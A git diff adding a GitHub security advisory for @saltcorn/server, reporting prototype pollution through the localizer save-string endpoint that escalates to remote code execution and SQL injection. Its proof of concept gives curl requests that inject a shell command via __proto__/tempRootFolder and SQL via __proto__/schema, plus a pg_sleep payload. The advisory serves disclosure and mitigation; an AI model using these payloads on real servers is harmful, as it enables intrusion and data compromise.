diff --git a/advisories/github-reviewed/2024/10/GHSA-78p3-fwcq-62c2/GHSA-78p3-fwcq-62c2.json b/advisories/github-reviewed/2024/10/GHSA-78p3-fwcq-62c2/GHSA-78p3-fwcq-62c2.json new file mode 100644 index 00000000000..61d1296421e --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-78p3-fwcq-62c2/GHSA-78p3-fwcq-62c2.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-78p3-fwcq-62c2", + "modified": "2024-10-03T19:50:59Z", + "published": "2024-10-03T19:50:59Z", + "aliases": [ + + ], + "summary": "@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings", + "details": "### Summary\n\nThe endpoint `/site-structure/localizer/save-string/:lang/:defstring` accepts two parameter values: `lang` and `defstring`. These values are used in an unsafe way to set the keys and value of the `cfgStrings` object. It allows to add/modify properties of the `Object prototype` that result in several logic issues, including:\n- RCE vulnerabilities by polluting the `tempRootFolder` property \n- SQL injection vulnerabilities by polluting the `schema` property when using `PostgreSQL` database.\n\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239\n```js\nrouter.post(\n \"/localizer/save-string/:lang/:defstring\",\n isAdmin,\n error_catcher(async (req, res) => {\n const { lang, defstring } = req.params; // source\n\n const cfgStrings = getState().getConfigCopy(\"localizer_strings\");\n if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink\n else cfgStrings[lang] = { [defstring]: text(req.body.value) };\n await getState().setConfig(\"localizer_strings\", cfgStrings);\n res.redirect(`/site-structure/localizer/edit/${lang}`);\n })\n);\n```\n\n### PoC\n\nSetup:\n- set `SALTCORN_NWORKERS=1` before starting the `saltcorn` server (to easily observe the behavior of the PoC)\n```\nSALTCORN_NWORKERS=1 saltcorn serve\n```\n- make sure to use PostgresSQL backend\n- login with a user with admin permission\n\n#### RCE\n\nThis PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.\n- check that the file that will be created does not exists:\n```\ncat /tmp/RCE\ncat: /tmp/RCE: No such file or directory\n```\n\n- pollute the `Object.prototype` with a `tempRootFolder` value set to `;echo+\"rce\"|tee+/tmp/RCE;` by sending the following request *** :\n\n```bash\ncurl -i -X $'POST' \\\n -H $'Host: localhost:3000' \\\n -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \\\n -H $'Origin: http://localhost:3000' \\\n -H $'Connection: close' \\\n -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \\\n --data-binary $'_csrf=VALID_csrf_Value&value=;echo+\"rce\"|tee+/tmp/RCE;' \\\n $'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'\n```\n\n visit `http://localhost:3000/plugins/new`\n- enter the following fields:\n\t- Name: `test`\n\t- Source: `git`\n\t- other fields blank\n - click `Create`\n- you will get an error but the command `echo \"rce\" | tee /tmp/RCE` will be executed\n- to verify:\n```\ncat /tmp/RCE\nrce\n```\n\nThe RCE occurs because after the previous curl request, the `tempRootFolder` property is set to `;echo+\"rce\"|tee+/tmp/RCE;` that is later used to build the shell commands.\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L45-L58\n\n```js\nclass PluginInstaller {\n constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]\n [...]\n this.tempRootFolder =\n opts.tempRootFolder || envPaths(\"saltcorn\", { suffix: \"tmp\" }).temp; // [3]\n\t [...]\n this.pckJsonPath = join(this.pluginDir, \"package.json\");\n this.tempDir = join(this.tempRootFolder, \"temp_install\", ...tokens); // [4]\n [...]\n }\n [...]\n}\n```\n\n#### SQL Injection\n\nThis PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).\n- visit `http://localhost:3000/table` to check the page returns some results (no errors)\n- pollute the `Object.prototype` with a schema value set to `\"` (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :\n\n```\ncurl -i -X $'POST' \\\n -H $'Host: localhost:3000' \\\n -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \\\n -H $'Origin: http://localhost:3000' \\\n -H $'Connection: close' \\\n -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \\\n --data-binary $'_csrf=VALID_csrf_Value&value=\\\"' \\\n $'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'\n```\n\n- visit again `http://localhost:3000/table` but this time an SQL error will appear:\n```\nsyntax error at or near \"\" order by lower(\"\"\n```\n\n\n**NOTE**: Another payload to use as `value` could be `pg_user\"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--`\n\nThe SQL injection occurs because after the previous curl request, the `schema` property is set to `\"`.\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101\n\n```js\nconst select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts\n const { where, values } = mkWhere(whereObj);\n const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema\n const sql = `SELECT ${\n selectopts.fields ? selectopts.fields.join(\", \") : `*`\n } FROM \"${schema}\".\"${sqlsanitize(tbl)}\" ${where} ${mkSelectOptions( // [4] schema\n selectopts,\n values,\n false\n )}`;\n sql_log(sql, values);\n const tq = await (client || selectopts.client || pool).query(sql, values);\n\n return tq.rows;\n};\n```\n\n*** Retrieve valid values for the `connect.sid` (`VALID_CONNECT_SID_COOKIE`) and `_csrf` values (`VALID_csrf_Value`) :\n- open the browser developer console and go to the `Network` tab\n- visit `http://localhost:3000/site-structure/localizer/add-lang`\n- add a language (`Name: test` , `Locale: test`) and click `Save`\n- under the `Network` tab, filter for `save-lang` and check the request parameters (`Headers` and `Payload`/`Request` tabs)\n- copy the values for `connect.sid` and `_csrf` and paste in the curl command above\n\n### Impact\n\nRemote code execution (RCE), Sql injection and business logic errors.\n\n### Recommended Mitigation\n\nCheck the values of `lang` and `defstring` parameters against dangerous properties like `__proto__`, `constructor`, `prototype`.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@saltcorn/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.0.0-beta.14" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.0-beta.13" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-78p3-fwcq-62c2" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/commit/9e066ae8ba317469053cc27e95dcdf5b6e60e12d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/saltcorn/saltcorn" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-10-03T19:50:59Z", + "nvd_published_at": null + } +} \ No newline at end of file